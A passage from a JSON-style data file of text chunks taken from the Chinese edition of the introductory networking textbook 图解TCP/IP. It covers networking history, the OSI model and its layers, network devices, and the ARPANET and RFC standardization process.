◆开本：787×1092 1/16 印张：20.5 字数：525千字 印数：1-3 500册 2013年6月第1版 2013年6月北京第1次印刷 著作权合同登记号 图字：01-2012-3274号 定价：69.00元 读者服务热线：（010）51095186转604 印装质量热线：（010）67129223 反盗版热线：（010）67171154 广告经营许可证：京崇工商广字第0021号\n内容提要 这是一本图文并茂的网络管理技术书籍，旨在让广大读者理解TCP/IP的基本知识、掌握TCP/IP的基本技能。 书中讲解了网络基础知识、TCP/IP基础知识、数据链路、IP协议、IP协议相关技术、TCP与UDP、路由协议、应用协议、网络安全等内容，引导读者了解和掌握TCP/IP，营造一个安全的、使用放心的网络环境。 本书适合计算机网络的开发、管理人员阅读，也可作为大专院校相关专业的教学参考书。"},
    {"text": "版权声明 Original Japanese edition Mastering TCP/IP Nyuumon-hen Dai 5 Han By Takafumi Takeshita，Yukio Murayama，Toru Arai，Yukio Karita Copyright©2012 by Takafumi Takeshita，Yukio Murayama，Toru Arai，Yukio Karita Published by Ohmsha，Ltd. This Chinese Language edition published by POSTS & TELECOM PRESS Copyright©2013 All rights reserved. 本书中文简体字版由Ohmsha，Ltd.授权人民邮电出版社独家出版。"},
    {"text": "目前广泛倡导的计算机系统虚拟化和云计算也都在使用以TCP/IP为核心的网络技术。 因此，以TCP/IP为基础的现代网络技术，已渗透到对各种设备的控制和它们之间的信息传输当中，俨然演变为重要的社会基础设施。"},
    {"text": "为了克服这些挑战，人们正致力于提高构建网络的性价比，审时度势地根据市场要求更新网络设备，并为复杂的网络能够稳定运转而开发更好的运维工具。"},
    {"text": "本书旨在让广大读者理解TCP/IP的基本知识，掌握TCP/IP的基本技能。 希望本书成为读者朋友们在掌握TCP/IP与计算机网络过程中的一块奠基石，对整体把握计算机网络有所帮助。 同时，本书若能为TCP/IP、计算机网络、信息社会安全的发展起到一定的作用，那将是作者的荣幸。"},
    {"text": "2012年2月\n关于第5版修订 自1994年6月《图解TCP/IP入门篇》出版以来，该书相继在1998年5月出版了《图解TCP/IP入门篇（第2版）》，在2002年2月出版了《图解TCP/IP入门篇（第3版）》，在2007年2月出版了《图解TCP/IP入门篇（第4版）》。"},
    {"text": "然而，在计算机网络、互联网已经得到广泛普及的今天，它们的重要性日益提高，人们已不再满足于简单地连接，而是更加注重如何安全地连接、安全地使用网络。 计算机网络、互联网领域的发展依然在继续，新的需求和新的服务不断涌现，今后势必会朝着多样化、复杂化的方向继续发展。"},
    {"text": "因此，秉承前几版的风格和方向，结合互联网的普及、数据链路的变革以及TCP/IP的进步，为适应不断变化的社会网络环境，我们更新了其中部分内容，这本书的第五版才得以问世。"},
    {"text": "第1章 网络基础知识 本章总结了深入理解TCP/IP所必备的基础知识，其中包括计算机与网络发展的历史及其标准化过程、OSI参考模型、网络概念的本质、网络构建的设备等。"},
    {"text": "计算机不仅被广泛引入到办公室、工厂、学校、教育机关以及实验室等场所，就连在家里使用个人电脑也已是普遍现象。 同时，笔记本电脑、平板电脑、手机终端（智能手机）等便携设备的持有人群也日益增多，甚至外观上一点都不像计算机的家用电器、音乐播放器、办公电器、汽车等设备中，一般也会内置一个小型的芯片，使这些设备具有相应的计算机控制功能。"},
    {"text": "1.1.2 从独立模式到网络互连模式 起初，计算机以单机模式被广泛使用（这种方式也叫独立模式 （指计算机未连接到网络，各自独立使用的方式。"},
    {"text": "图1.1 以独立模式使用计算机 图1.2 以网络互连方式使用计算机 计算机网络，根据其规模可分为WAN（Wide Area Network，广域网） （指覆盖多个远距离区域的远程网络。"},
    {"text": "比广域网再小一级的、连接整个城市的网络叫城域网（MAN，Metropolitan Area Network）。 ） 和LAN（Local Area Network，局域网） （指一个楼层、一栋楼或一个校园等相对较小的区域内的网络。"},
    {"text": "总而言之，形成的是一种私有的网络。 随着这种私有网络的不断发展，人们开始尝试将多个私有网络相互连接组成更大的私有网络。 这种网络又逐渐发展演变成为互联网为公众所使用。 在这个过程中，网络环境俨然已发生了戏剧性的变化。"},
    {"text": "连接到互联网以后，计算机之间的通信已不再局限于公司或部门内部，而是能够与互联网中的任何一台计算机进行通信。 互联网作为一门新兴技术，极大地丰富了当时以电话、邮政以及传真为主的通信手段，逐渐被人们所接受。 此后，人们不断研发各种互联网接入技术，使得各种五花八门的通信终端都能够连接到互联网，使互联网成为了一个世界级规模的计算机网络，形成了现在这种综合通信环境。"},
    {"text": "1.2.1 批处理 为了能让更多的人使用计算机，出现了批处理（Batch Processing）系统。 所谓批处理，是指事先将用户程序和数据装入卡带或磁带，并由计算机按照一定的顺序读取，使用户所要执行的这些程序和数据能够一并批量得到处理的方式。"},
    {"text": "图1.6 分时系统 分时系统出现以来，计算机的可用性得到了极大的改善，尤其是在交互式（对话式）操作 （指计算机依据用户给出的指令完成处理并将结果返回给用户。"},
    {"text": "1.2.3 计算机之间的通信 如图1.7可见在分时系统中，计算机与每个终端之间用通信线路连接，这并不意味着计算机与计算机之间也已相互连接。"},
    {"text": "于是计算机不再仅仅局限于在研究机关使用，一般的企业也逐渐开始使用计算机。 因为企业内部对使用计算机处理日常事务的呼声越来越高。 为了提高工作效率，人们开始研究计算机与计算机之间通信的技术。"},
    {"text": "然而有了计算机间的通信技术（计算机与计算机之间由通信线路连接），人们能够很轻松地即时读取另一台计算机中的数据，从而极大地缩短了传送数据的时间。"},
    {"text": "人们不再局限于仅使用一台计算机进行处理，而是逐渐使用多台计算机分布式处理，最终一并得到返回结果。 这一趋势打破了一家公司仅购入一台计算机进行业务处理的局面，使每家公司内部能够以部门为单位引入计算机，来处理部门内部的数据。"},
    {"text": "1.2.4 计算机网络的产生 图1.8 计算机网络（20世纪80年代） 20世纪70年代初期，人们开始实验基于分组交换技术的计算机网络，并着手研究不同厂商的计算机之间相互通信的技术。"},
    {"text": "例如，在工作站上创建一个文档的同时，可以登录到主机执行其他程序，也可以从数据库服务器下载必要的数据，还可以通过电子邮件联系朋友。"},
    {"text": "图1.9 窗口系统的产生与计算机网络 1.2.5 互联网的普及 进入20世纪90年代，那些专注于信息处理的公司和大学已为每一位员工或研究人员分配了一台计算机，形成了“一人一机”的环境 [2] 。"},
    {"text": "与此同时，诸如电子邮件（E-mail）、万维网（WWW，World Wide Web的简称）等信息传播方式如雨后春笋般迎来了前所未有的发展，使得互联网从大到整个公司范围小到每个家庭内部，都得以广泛普及。"},
    {"text": "再加上个人电脑与UNIX工作站本身的网络功能不断提高，利用这些设备搭建一个网络要比使用大型主机构建网络更有优势，主要体现在两个方面：操作简单，价格低廉。"},
    {"text": "之所以叫“瘦身”是因为这一趋势导致那些曾经在大型主机上才能运行的公司核心业务系统逐渐被转移到“轻量型”的个人电脑或UNIX工作站上去运行。"},
    {"text": "例如，曾经一直作为通信基础设施、支撑通信网络的电话网，随着互联网的快速发展，其地位也随着时间的推移为IP（Internet Protocol）网所取代，而IP网本身就是互联网技术的产物。 通过IP网，人们不仅可以实现电话通信、电视播放，还能实现计算机之间的通信，建立互联网。 并且，能够联网的设备也不仅限于单纯的计算机，而是扩展到了手机、家用电器、游戏机等许多其他产品。"},
    {"text": "图1.11 通过IP协议实现通信、播放的统一 1.2.7 从“单纯建立连接”到“安全建立连接” 互联网让世界各地的人们通过计算机跨越国界自由地连接在了一起。"},
    {"text": "在现实当中，人们可以通过远离险境避开一些危险，然而对于连接到互联网的计算机而言，即使是在办公室或在自己的家里也有可能会受到网络所带来的诸多侵害。"},
    {"text": "能够使它们之间不断融合并实现统一的正是TCP/IP技术。 那么TCP/IP的机制究竟又是如何呢？ TCP/IP是通信协议的统称。 在学习下一章TCP/IP核心机制之前，有必要先理清“协议”的概念。"},
    {"text": "例如，Novell公司的IPX/SPX、苹果公司的AppleTalk（仅限苹果公司计算机使用）、IBM公司开发的用于构建大规模网络的SNA （System Network Architecture） 以及前DEC公司 （1998年被收购。"},
    {"text": "表1.2 各种网络体系结构及其协议 ▼ Xerox Network Services 1.3.2 协议的必要性 通常，我们发送一封电子邮件、访问某个主页获取信息时察觉不到协议的存在，只有在我们重新配置计算机的网络连接、修改网络设置时才有可能涉及协议。"},
    {"text": "然而在通过网络实现互通信的过程背后，协议却起到了至关重要的作用。 简单来说，协议就是计算机与计算机之间通过网络实现通信时事先达成的一种“约定”。 这种“约定”使那些由不同厂商的设备、不同的CPU以及不同的操作系统组成的计算机之间，只要遵循相同的协议就能够实现通信。 反之，如果所使用的协议不同，就无法实现通信。"},
    {"text": "CPU的性能很大程度上也决定着一台计算机的处理性能。 因此人们常说计算机的发展史实际上是CPU的发展史。 目前人们常用的CPU有Intel Core、Intel Atom以及ARM Cortex等产品。"},
    {"text": "一台计算机中可运行的指令，因其CPU、操作系统的不同而有所差异。 因此，如果将针对某些特定的CPU或操作系统设计的程序直接复制到具有其他类型CPU或操作系统的计算机中，就不一定能够直接运行。 计算机中存储的数据也因CPU和操作系统的差异而有所不同。 因此，若在CPU和操作系统不同的计算机之间实现通信，则需要一个各方支持的协议，并遵循这个协议进行数据读取。"},
    {"text": "这时如果我们： 将汉语和英语当作“协议” 将聊天当作“通信” 将说话的内容当作“数据” 那么A与B之间由于各持一种语言，恐怕说多久也无法交流。 因为他们之间的谈话所用的协议（语言）不同，双方都无法将数据（所说的话）传递给对方 （若两人之间有个同声翻译，就能够顺利沟通了。"},
    {"text": "虽然语言是人类才具有的特性，但计算机与计算机之间通过网络进行通信时，也可以认为是依据类似于人类“语言”实现了相互通信 （与之相似，我们在日常生活中理所当然的一些行为，很多情况下都与“协议”这一概念不谋而合。"},
    {"text": "其实，计算机从物理连接层面到应用程序的软件层面，各个组件都必须严格遵循着事先达成的约定才能实现真正的通信。 此外，每个计算机还必须装有实现通信最基本功能的程序。"},
    {"text": "如果将前面例子中提到的A、B与C替换到计算机中，就不难理解为什么需要明确定义协议，为什么要遵循既定的协议来设计软件和制造计算机硬件了。"},
    {"text": "并且在很多场合，人类能够根据对方的语义、声音或表情，合理地调整自己的表达方式和所要传达的内容，从而避免给对方造成误解。 甚至有时在谈话过程中如果不小心漏掉几个词，也能从谈话的语境和上下文中猜出对方所要表达的大体意思，不至于影响自己的理解。"},
    {"text": "因此，在设计计算机程序与硬件时，要充分考虑通信过程中可能会遇到的各种异常以及对异常的处理。 在实际遇到问题时，正在通信的计算机之间也必须具备相应的设备和程序以应对异常。"},
    {"text": "通信协议中，通常会规定报文首部应该写入哪些信息、应该如何处理这些信息。 相互通信的每一台计算机则根据协议构造报文首部、读取首部内容等。 为了双方能正确通信，分组的发送方和接收方有必要对报文首部和内容保持一致的定义和解释。"},
    {"text": "从此，计算机厂商也纷纷发布各自的网络体系结构，引发了众多协议的系统化进程。 然而，各家厂商的各种网络体系结构、各种协议之间并不相互兼容。"},
    {"text": "协议得以标准化也使所有遵循标准协议的设备不再因计算机硬件或操作系统的差异而无法通信。 因此，协议的标准化也推动了计算机网络的普及。"},
    {"text": "标准化组织大致分为三类：国际级标准化机构，国家级标准化机构以及民间团体。 目前国际级标准化机构有ISO、ITU-T （International Telecommunication Union Telecommunica-tion Standardization Sector。"},
    {"text": "1.5 协议分层与OSI参考模型 1.5.1 协议的分层 ISO在制定标准化OSI之前，对网络体系结构相关的问题进行了充分的讨论，最终提出了作为通信协议设计指标的OSI参考模型。"},
    {"text": "图1.17 语言层与设备层两层模型 表面上看A跟C是在用汉语直接对话，但实际上A与C都是在通过电话机的听筒听取声音，都在对着麦克风说话。"},
    {"text": "其实在这个图中，他们所用的语言协议作为麦克风的音频输入，在通信设备层被转换为电波信号传送出去了。 传送到对方的电话机后，又被通信设备层转换为音频输出，传递给了对方。 因此，A与C其实是利用电话机之间通过音频转化声音的接口实现了对话。"},
    {"text": "通常人们会觉得拿起电话与人通话，其实就好像是直接在跟对方对话，然而如果仔细分析，在整个过程中实际上是电话机在做中介，这是不可否认的。"},
    {"text": "在此仅举出简单的例子，权作对协议分层及其便利性的一个解释，以加深对分层协议的理解。 1.5.3 OSI参考模型 前面只是将协议简单地分为了两层进行了举例说明。"},
    {"text": "OSI（参考模型）将通信功能划分为7个分层，称作OSI参考模型。 OSI协议以OSI参考模型为基础界定了每个阶层的协议和每个阶层之间接口相关的标准。 遵循OSI协议的产品叫OSI产品，而它们所遵循的通信则被称为OSI通信。"},
    {"text": "1.5.4 OSI参考模型中各个分层的作用 在此，以图1.19为例简单说明OSI参考模型中各个分层的主要作用。 图1.19 OSI参考模型各层分工 ▼ 互连的网络终端，如计算机等设备。"},
    {"text": "图1.21 以电子邮件为例 ■ 应用层 图1.22 应用层的工作 用户A在主机A上新建一封电子邮件，指定收件人为B，并输入邮件内容为“早上好”。"},
    {"text": "收发邮件的这款软件从功能上可以分为两大类：一部分是与通信相关的，另一部分是与通信无关的。 例如用户A从键盘输入“早上好”的这一部分就属于与通信无关的功能，而将“早上好”的内容发送给收件人B则是其与通信相关的功能。"},
    {"text": "因此，此处的“输入电子邮件内容后发送给目标地址”也就相当于应用层。 从用户输入完所要发送的内容并点击“发送”按钮的那一刻开始，就进入了应用层协议的处理。"},
    {"text": "这一附有首部信息的数据传送给主机B以后由该主机上的收发邮件软件通过“收信”功能获取内容。 主机B上的应用收到由主机A发送过来的数据后，分析其数据首部与数据正文，并将邮件保存到硬盘或是其他非易失性存储器 （数据不会因为断电而丢失的一种存储设备 [3] ） 以备进行相应的处理。"},
    {"text": "■ 表示层 图1.23 表示层的工作 表示层的“表示”有“表现”、“演示”的意思，因此更关注数据的具体表现形式 （最有名的就是每款计算机对数据在内存中相异的分配方式。"},
    {"text": "让所有用户千篇一律地使用同一款客户端软件对使用者来说也是极不方便的一件事情 （现在，除了个人电脑，还有其他设备如智能手机也都能够连接到网络。"},
    {"text": "首先是利用表示层，将数据从“某个计算机特定的数据格式”转换为“网络通用的标准数据格式”后再发送出去。 接收端主机收到数据以后将这些网络标准格式的数据恢复为“该计算机特定的数据格式”，然后再进行相应处理。 在前面这个例子中，由于数据被转换为通用标准的格式后再进行处理，使得异构的机型之间也能保持数据的一致性。"},
    {"text": "1.6.3 传输层以下的处理 到此为止，我们通过例子说明了在应用层写入的数据会经由表示层格式化编码、再由会话层标记发送顺序后才被发送出去的大致过程。"},
    {"text": "如上，进行建立连接或断开连接的处理 （此处请注意，会话层负责决定建立连接和断开连接的时机，而传输层进行实际的建立和断开处理。 ） ，在两个主机之间创建逻辑上的通信连接即是传输层的主要作用。 此外，传输层为确保所传输的数据到达目标地址，会在通信两端的计算机之间进行确认，如果数据没有到达，它会负责进行重发。"},
    {"text": "由此可见，保证数据传输的可靠性是传输层的一个重要作用。 为了确保可靠性，在这一层也会为所要传输的数据附加首部以识别这一分层的数据。 然而，实际上将数据传输给对端的处理是由网络层来完成的。"},
    {"text": "■ 网络层 图1.26 网络层的工作 网络层的作用是在网络与网络相互连接的环境中，将数据从发送端主机发送到接收端主机。 如图1.27所示，两端主机之间虽然有众多数据链路，但能够将数据从主机A送到主机B也都是网络层的功劳。 图1.27 网络层与数据链路层各尽其责 在实际发送数据时，目的地址 （关于地址请参考1.8节） 至关重要。"},
    {"text": "只要这个目标地址确定了，就可以在众多计算机中选出该目标地址所对应的计算机发送数据。 基于这个地址，就可以在网络层进行数据包的发送处理。 而有了地址和网络层的包发送处理，就可以将数据发送到世界上任何一台互连设备。 网络层中也会将其从上层收到的数据和地址信息等一起发送给下面的数据链路层，进行后面的处理。"},
    {"text": "■ 传输层与网络层的关系 在不同的网络体系结构下，网络层有时也不能保证数据的可达性。 例如在相当于TCP/IP网络层的IP协议中，就不能保证数据一定会发送到对端地址。"},
    {"text": "■ 数据链路层、物理层 通信传输实际上是通过物理的传输介质实现的。 数据链路层的作用就是在这些通过传输介质互连的设备之间进行数据处理。 物理层中，将数据的0、1转换为电压和脉冲光传输给物理的传输介质，而相互直连的设备之间使用地址实现传输。"},
    {"text": "网络层与数据链路层都是基于目标地址将数据发送给接收端的，但是网络层负责将整个数据发送给最终目标地址，而数据链路层则只负责发送一个分段内的数据。"},
    {"text": "图1.28 数据链路层与物理层的工作 ■ 主机B端的处理 接收端主机B上的处理流程正好与主机A相反，它从物理层开始将接收到的数据逐层发给上一分层进行处理，从而使用户B最终在主机B上使用邮件客户端软件接收用户A发送过来的邮件，并可以读取相应内容为“早上好”。"},
    {"text": "1.7.1 面向有连接型与面向无连接型 通过网络发送数据，大致可以分为面向有连接与面向无连接两种类型 （面向无连接型包括以太网、IP、UDP等协议。 面向有连接型包括ATM、帧中继、TCP等协议。"},
    {"text": "图1.29 面向有连接型与面向无连接型 ■ 面向有连接型 面向有连接型中，在发送数据 （在面向有连接型的情况下，发送端的数据不一定要分组发送。 第6章将要介绍的TCP是以面向有连接的方式分组发送数据的，然而1.7.2节中所要介绍的电路交换虽然也属于面向有连接的一种方式，但是数据却并不仅限于分组发送。"},
    {"text": "面向有连接型就好比人们平常打电话，输入完对方电话号码拨出之后，只有对端拿起电话才能真正通话，通话结束后将电话机扣上就如同切断电源。"},
    {"text": "负责处理邮递业务的营业员，不需要确认收件人的详细地址是否真的存在，也不需要确认收件人是否能收到包裹，只要发件人有一个寄件地址就可以办理邮寄包裹的业务。"},
    {"text": "计算机首先被连接到交换机上，而交换机与交换机之间则由众多通信线路再继续连接。 因此计算机之间在发送数据时，需要通过交换机与目标主机建立通信电路。"},
    {"text": "如果某条电路只是用来连接两台计算机的通信线路，就意味着只需在这两台计算机之间实现通信，因此这两台计算机是可以独占线路进行数据传输的。"},
    {"text": "由于在分组的过程中，已经在每个分组的首部写入了发送端和接收端的地址，所以即使同一条线路同时为多个用户提供服务，也可以明确区分每个分组数据发往的目的地，以及它是与哪台计算机进行的通信。"},
    {"text": "图1.30 分组交换 在分组交换中，由分组交换机（路由器）连接通信线路。 分组交换的大致处理过程是：发送端计算机将数据分组发送给路由器，路由器收到这些分组数据以后，缓存到自己的缓冲区，然后再转发给目标计算机。"},
    {"text": "路由器接收到数据以后会按照顺序缓存到相应的队列当中，再以先进先出的顺序将它们逐一发送出去 （有时，也会优先发送目标地址比较特殊的数据。"},
    {"text": "图1.31 电路交换与分组交换的特点 1.7.3 根据接收端数量分类 网络通信当中，也可以根据目标地址的个数及其后续的行为对通信进行分类。"},
    {"text": "现实生活当中的“地址”比较容易理解，然而在计算机通信当中，这种地址的概念显得要复杂一些。 因为在实际的网络通信当中，每一层的协议所使用的地址都不尽相同。"},
    {"text": "”此时“一年一班的哪位同学”（任意一位同学）就成为了此次“任播”的目标地址，具有唯一性 （再例如，航班飞行途中有一位乘客突然发病，此时空姐会询问“有哪一位乘客是医生，我们需要您的帮助”。"},
    {"text": "虽然MAC地址中的制造商识别号、产品编号以及通用编号等信息在某种程度上也具有一定的层次性，但是对于寻找地址并没有起到任何作用，所以不能算作有层次的地址。"},
    {"text": "一方面，IP地址由网络号和主机号两部分组成。 即使通信主体的IP地址不同，若主机号不同，网络号相同，说明它们处于同一个网段。 通常，同处一个网段的主机也都属于同一个部门或集团组织。 另一方面，网络号相同的主机在组织结构、提供商类型和地域分布上都比较集中，也为IP寻址带来了极大的方便 （关于IP地址的聚合性特点请参考4.4.2节。"},
    {"text": "只不过MAC寻址中所参考的这张表叫做地址转发表，而IP寻址中所参考的叫做路由控制表 （目前，地址转发表和路由控制表并不需要在网络中的各个节点上手动设置，而是由这些节点自动生成的。"},
    {"text": "图1.37 网络构成要素 表1.3 搭建网络的主要设备及其作用 1.9.1 通信媒介与数据链路 计算机网络是指计算机与计算机相连而组成的网络。"},
    {"text": "表1.4总结了各种不同的数据链路、通信媒介及其标准传输速率。 表1.4 各种数据链路一览 ■ 传输速率与吞吐量 在数据传输的过程中，两个设备之间数据流动的物理速度称为传输速率。"},
    {"text": "吞吐量这个词不仅衡量带宽，同时也衡量主机的CPU处理能力、网络的拥堵程度、报文中数据字段的占有份额（不含报文首部，只计算数据字段本身）等信息。"},
    {"text": "因此，在实际搭建网络时，不仅应该关注每款产品的规格参数，还应该了解它们的兼容性，并且更应该重视参考这些产品在实际长期使用过程当中所呈现的性能指标 （性能指标好的技术也被称作“成熟的技术”。"},
    {"text": "最近，很多产品目录中都加入了“内置LAN端口”的参数，说明越来越多的计算机在出厂设置中就具备了以太网（Ethernet）1000BASE-T或100BASE-TX的端口 （计算机与外部连接的接口称作计算机端口。"},
    {"text": "没有配置NIC的计算机如果想接入以太网，至少得外接一个扩展槽以便插入NIC。 无线局域网的情况下也是如此，计算机必须具备能够接入无线网的NIC才能保证连接到网络。"},
    {"text": "同时，它只负责将电信号转换为光信号，因此不能在传输速度不同的媒介之间转发 （用中继器无法连接一个100Mbps的以太网和另一个10Mbps的以太网。"},
    {"text": "有些中继器可以提供多个端口服务。 这种中继器被称作中继集线器或集线器。 因此，集线器 （中继集线器也可以简称为集线器或Hub。 但现在人们常说的Hub更多是指1.9.4节所要介绍的交换式集线器。 ） 也可以看作是多口中继器，每个端口都可以成为一个中继器。"},
    {"text": "） ，并将这些数据帧临时存储于内存，再重新生成信号作为一个全新的帧转发给相连的另一个网段 （具有分割、划分网络之意，详细内容可参考3.1节。"},
    {"text": "图1.43 交换集线器是网桥的一种 1.9.5 路由器/3层交换机 图1.44 路由器 路由器是在OSI模型的第3层——网络层面上连接两个网络、并对分组报文进行转发的设备。"},
    {"text": "路由器可以连接不同的数据链路。 例如连接两个以太网，或者连接一个以太网与一个FDDI。 现在，人们在家或办公室里连接互联网时所使用的宽带路由器也是路由器的一种。 路由器还有分担网络负荷的作用 （由于路由器会分割数据链路，因此数据链路层的广播消息将无法继续传播。"},
    {"text": "此外，实际通信当中，人们希望在网络比较拥堵的时候，优先处理像语音这类对及时性要求较高的通信请求，放缓处理像邮件或数据转发等稍有延迟也并无大碍的通信请求。"},
    {"text": "1.9.7 网关 图1.46 网关 网关是OSI参考模型中负责将从传输层到应用层的数据进行转换和转发的设备 （依照惯例，路由器的表现与“网关”相似。 但是本书所指的“网关”仅限于OSI参考模型中依输层以上各个分层中进行协议转换的设备或部件。"},
    {"text": "它与4～7层交换机一样都是处理传输层及以上的数据，但是网关不仅转发数据还负责对数据进行转换，它通常会使用一个表示层或应用层网关，在两个不能进行直接通信的协议之间进行翻译，最终实现两者之间的通信。"},
    {"text": "图1.47 手机与互联网电子邮件的转换 此外，在使用WWW（World Wide Web，万维网）时，为了控制网络流量以及出于安全的考虑，有时会使用代理服务器（Proxy Server）。"},
    {"text": "这种代理服务器也是网关的一种，称为应用网关。 有了代理服务器，客户端与服务器之间无需在网络层上直接通信，而是从传输层到应用层对数据和访问进行各种控制和处理。"},
    {"text": "图1.48 代理服务 图1.49 各种设备及其对应网络分层概览 1.10 现代网络实态 通过前几节的学习，本节我们主要介绍现实当中的网络实态。 1.10.1 网络的构成 首先，我们以交通道路为例说明现实当中的网络配置。"},
    {"text": "例如，假如要从名古屋出发驾车到东京，在东名高速途中遇到严重堵车时，可以改道走中央高速或北陆道与关越路避免堵车。 这时如果将“东名高速”想象为“从名古屋出发到达东京的高速公路”，那么不论是真的走了东名高速还是改道走中央高速都可以认为是走了“东名高速”。"},
    {"text": "联网之后，汇集到无线局域网路由器和最近交换机的通信会再次被连接到前面所提到的“接入层” （在公司规模较大、网络使用者较多，或者从外部有大量的访问进入的情况下，有时可以直接连接到“边缘网络”。"},
    {"text": "由一部手机终端发送信号给另一个终端时，它所发出的请求会一直传送到注册对端手机号码的基站，如果对方接听了电话，就等于在这两部手机之间建立了通信连接。"},
    {"text": "以我们生活当中的道路交通为例，CSFB就相当于将自家门口的道路改造拓宽之后，再修建两条通往市内和主干枢纽的道路，并让两条路分别适用于一般车辆（语音呼叫）和大型车辆（视频数据或通信量较大的应用）。 类似地，在手机终端的语音呼叫中，CSFB保证了通话语音保持与原来一样的高品质传输，让使用者感觉像在自己家里或公司中上网一样，丝毫没有对网络环境有任何不适应的感觉。"},
    {"text": "■ 公共无线局域网对手机终端的认证 在家里或公司的无线局域网中，其线路连接部分往往是固定的，使用者通常仅限于特定的人群。 然而，对于公共无线局域网来说，由于运营商不同，所以为了识别每一位使用者的合法性，就有必要对使用者进行验证，以检查他（她）们是否为合法用户。 在用户所使用的终端设备真正被连接到“接入层”之前，需要确保只有获得认证的用户才能连接该公共无线局域网。"},
    {"text": "1.10.4 从信息发布者的角度看网络 提到网络信息传播，以往比较主流的做法是，个人和企业自己制作网站（主页）部署到服务器中将所要发布的信息公之于众。"},
    {"text": "而现在，通过博客、托管主机服务 （托管主机服务是指将用于信息发布的主机放置于互联网数据中心的机房，或者从该机房租赁一台计算机作为发布信息主机的服务。"},
    {"text": "读者可能或多或少都访问过抽奖、网游、内容 （内容（content）在此处是指集动画、文章、音乐、应用以及游戏软件于一体，提供阅览以及上传/下载服务的一种信息集中体的统称。"},
    {"text": "它是指当一个网站（也可以是其他系统）需要调整运营所使用的资源时，并不增减服务器、存储设备、网络等实际的物理设备，而是利用软件将这些物理设备虚拟化，在有必要增减资源的时候，通过软件按量增减的一种机制。"},
    {"text": "其实，在当时围绕着整个计算机产业，全社会形成了一股支持TCP/IP的流行趋势，使得各家计算机厂商也不得不适应这种变化，不断生产支持TCP/IP的产品。"},
    {"text": "然而，图2.2中网络呈现出由众多迂回线路组成的分布式通信，使其即便在某一处受到通信攻击，也会在迂回线路的极限范围内始终保持通信无阻 （分布式网络的概念于1960年由美国RAND研究所的Paul Baran提出。"},
    {"text": "图2.1 容灾性较弱的中央集中式网络 图2.2 容灾性较强的分组网络 2.1.2 ARPANET的诞生 1969年，为验证分组交换技术的实用性，研究人员搭建了一套网络。"},
    {"text": "起初，该网络只连接了美国西海岸的大学和研究所等4个节点 （这四个节点分别是UCLA（加州大学洛杉矶分校）、UCSB（加州大学圣巴巴拉分校）、SRI（斯坦福研究所）和犹他州大学。"},
    {"text": "研究人员的实验也获得了前所未有的成功 （阿帕网的实验及其协议的开发，是由美国一个叫做DARPA（Defense Advanced Research Projects Agency：国防部高级研究计划署）的政府机构资助的。"},
    {"text": "2.1.3 TCP/IP的诞生 ARPANET的实验，不仅仅是利用几所大学与研究机构组成的主干网络进行分组交换的实验，还会进行在互连计算机之间提供可靠传输的综合性通信协议的实验。"},
    {"text": "此后，基于TCP/IP而形成的世界性范围的网络——互联网（The Internet）便诞生了。 以连接UNIX主机的形式连接各个终端节点，这一主要方式使互联网得到了迅速的普及。 而作为计算机网络主流协议的TCP/IP，它的发展也与UNIX密不可分。"},
    {"text": "到了80年代后半叶，那些“各自为政”开发自己通信协议的网路设备供应商们，也陆续开始“顺从”于TCP/IP的规范，制造兼容性更好的产品以便用户使用。"},
    {"text": "这使得到90年代为止一直占据主导地位的个人电脑通信也开始加入到互联网的行列中来，自由的、开放的互联网就这样以极快的速度为大众所认可，得到更为广泛的普及。"},
    {"text": "究其原因，是由TCP/IP的标准化所致。 TCP/IP的标准化中有其他协议的标准化没有的要求。 这一点就是让TCP/IP更迅速地实现和普及的原动力。 本节将介绍TCP/IP的标准化过程。"},
    {"text": "图2.3 TCP/IP协议群 2.2.2 TCP/IP标准化精髓 TCP/IP的协议的标准化过程与其他的标准化过程有所不同，具有两大特点：一是具有开放性，二是注重实用性，即被标准化的协议能否被实际运用。"},
    {"text": "虽然这么说有点夸张，不过TCP/IP在制定某个协议规范的过程中确实会考虑到这个协议实现 （实现：指开发那些能够让计算机设备按照协议预期产生某些动作或行为的程序和硬件。"},
    {"text": "为此，TCP/IP中只要某个协议的大致规范决定下来，人们就会在多个已实现该协议的设备之间进行通信实验，一旦发现有什么问题，可以继续在IEFT中讨论，及时修改程序、协议或相应的文档。"},
    {"text": "相比TCP/IP，OSI之所以未能达到普及，主要原因在于未能尽早地制定可行性较强的协议、未能提出应对技术快速革新的协议以及没有能及时进行后期改良的方案这几点。"},
    {"text": "若要扩展已有某个协议规范的内容，一定要有一个全新编号的RFC文档对其进行记录。 若要修改已有某个协议规范内容，则需要重新发行一个新的RFC文档，同时，老的那份RFC作废。 新的RFC文档会明确规定是扩展了哪个已有的RFC以及要作废哪个已有RFC。"},
    {"text": "因此，同一个协议的规范内容即便发生了变化也不会导致STD编号发生变化。 今后，即使协议规范的内容改变也不会改变STD编号，但是有可能导致某个STD下的RFC编号视情况有所增减。"},
    {"text": "表2.2 具有代表性的RFC（2012年1月为止） ▼ Neighbor Discovery Protocol for Internet Protocol Version 6 每个RFC的最新信息请参考http://www.rfc-editor.org/rfc/rfc××××.txt（其中××××为RFC编号）。"},
    {"text": "主机和路由器处理ICMP时所涉及的要求细节也写入了RFC，分别为RFC1122和RFC1812 （RFC1122与RFC1812中不仅记载了对ICMP的处理要求，还记载了主机和路由器对IP、TCP以及ARP等众多协议在实现上的要求。"},
    {"text": "正是在这一阶段，那些想要对协议提出建议和意见的个人或组织会撰写文档，将内容作为草案发布在互联网上，而讨论也将基于这些文档内容通过邮件进行，从而也可以进行相应的设备实现、模拟以及应用实验。"},
    {"text": "它不是由标准化组织制定为标准以后才开始投入应用，而是到其成为标准的那一刻为止，已经被较为充分地试验并得到了较广的普及 （有些协议不是以标准化为目的，而只是实验性质的。"},
    {"text": "图2.4 协议的标准化流程 ■ 提议标准与草案标准的实现 很多情况下，向市场推广一些只实现了RFC中标准协议的产品显然不够，因为只有被广泛使用之后才能成为标准。"},
    {"text": "具体网址为： http://www.rfc-editor.org/rfc/ ftp://ftp.rfc-editor.org/in-notes/ 上面两个网址保存着所有RFC文件，网站中有一个名为rfc-index.txt的文件包含了所有RFC的概览。"},
    {"text": "• STD获取网址 http://www.rfc-editor.org/in-notes/std/ • FYI获取网址 http://www.rfc-editor.org/in-notes/fyi/ • ID获取网址 http://www.rfc-editor.org/internet-drafts/ JPNIC的ftp服务器中的目录： • STD获取网址 ftp://ftp.nic.ad.jp/rfc/std/ • FYI获取网址 ftp://ftp.nic.ad.jp/rfc/fyi/ • ID获取网址 ftp://ftp.nic.ad.jp/internet-drafts/ 2.3 互联网基础知识 “互联网”一词家喻户晓，本书也曾多次提到过。"},
